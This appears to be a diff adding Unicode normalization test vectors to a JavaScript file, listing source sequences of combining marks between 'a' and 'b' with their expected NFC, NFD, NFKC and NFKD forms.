+{ source: [0x0061, 0x1AB1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1ABA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1ABD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1ABF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1ABF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1ABF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1ABF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1ABF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1ABF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1ABF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1ABF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1ABF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AC0, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AC0, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AC0, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AC0, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AC0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AC0, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AC0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AC0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AC0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AC0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1B34, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1B34, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1B44, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1B44, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1B6C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1B6C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B70, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B70, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B71, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B71, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B72, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B72, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B73, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B73, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BAA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAB, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BAB, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1BE6, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1BE6, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF3, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF3, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1C37, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1C37, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062] },
